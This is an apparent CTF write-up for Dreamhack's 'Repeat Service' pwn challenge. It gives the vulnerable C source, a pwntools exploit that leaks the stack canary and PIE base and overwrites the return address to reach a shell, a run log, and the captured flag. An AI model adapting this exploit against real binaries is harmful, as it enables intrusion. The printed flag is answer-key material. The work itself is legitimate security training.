Description

    Repeat Service는 문자열을 입력해주면 반복해서 출력해주는 편리한 서비스입니다.
    반복하고 싶은 문구가 있다면 한 번 사용해보세요!
    문자열을 계속 출력하다보면 플래그를 얻을 수 있을지도…?

    checksec

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Repeat_Service/deploy$ checksec ./main
    [*] '/home/ubuntu/Desktop/dreamhack-CTF/Repeat_Service/deploy/main'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled

    Source Code

    // gcc -o main main.c
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <string.h>
    #include <unistd.h>
    #include <fcntl.h>
    
    void initialize() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
    }
    
    void win() {
    	system("/bin/sh");
    }
    
    int main() {
    	initialize();
    
    	char inp[80] = {0};
    	char buf[1000] = {0};
    
    	puts("Welcome to the Repeat Service!");
    	puts("Please put your string and length.");
    
    	while (1) {
    		printf("Pattern: ");
    		int len = read(STDIN_FILENO, inp, 80);
    		if (len == 0)
    			break;
    		if (inp[len - 1] == '\n') {
    			inp[len - 1] = 0;
    			len--;
    		}
    
    		int target_len = 0;
    		printf("Target length: ");
    		scanf("%d", &target_len);
    
    		if (target_len > 1000) {
    			puts("Too long :(");
    			break;
    		}
    
    		int count = 0;
    		while (count < target_len) {
    			memcpy(buf + count, inp, len);
    			count += len;
    		}
    
    		printf("%s\n", buf);
    	}
    	return 0;
    }

    Analysis

    Solution

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64',os='linux')
    warnings.filterwarnings('ignore')
    
    p = remote('host3.dreamhack.games', 9063)
    #p = process('./main')
    e = ELF('./main')
    
    #leak canary
    p.sendlineafter(b'Pattern: ', b'A'*7)
    p.sendlineafter(b'Target length: ', b'999')
    
    canary = p.recvline()
    canary = canary.split(b'A'*1001)[1]
    canary = canary.split(b'\n')[0]
    canary = canary[:7].rjust(8, b"\x00")
    canary = u64(canary)
    print(f"canary: {hex(canary)}")
    
    #leak bin_base
    p.sendlineafter(b'Pattern: ', b'A'*43)
    p.sendlineafter(b'Target length: ', b'1000')
    
    main = p.recvline()
    main = main.split(b'A'*1032)[1]
    main = main.split(b'\n')[0].ljust(8, b"\x00")
    main = u64(main)
    print(f"main: {hex(main)}")
    bin_base = main - e.symbols["main"]
    print(f"bin_base: {hex(bin_base)}")
    
    #Overwrite RET
    p.sendlineafter(b'Pattern: ', (p64(canary) + p64(canary) + p64(canary) + p64(bin_base + e.symbols["win"] + 0x5)))
    p.sendlineafter(b'Target length: ', b'1000')
    
    p.sendlineafter(b'Pattern: ', b'A')
    p.sendlineafter(b'Target length: ', b'1001')
    
    p.interactive()

    Result

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Repeat_Service/deploy$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 9063: Done
    [*] '/home/ubuntu/Desktop/dreamhack-CTF/Repeat_Service/deploy/main'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    canary: 0xa498395229fa7900
    main: 0x56151324628a
    bin_base: 0x561513245000
    [*] Switching to interactive mode
    Too long :(
    $ ls
    flag
    main
    $ cat flag
    DH{fbe2067c4a1ee6e099397b333cfaa36dd958e493cd530ba0a53ae15d349b547e}
    $ 
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 9063

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다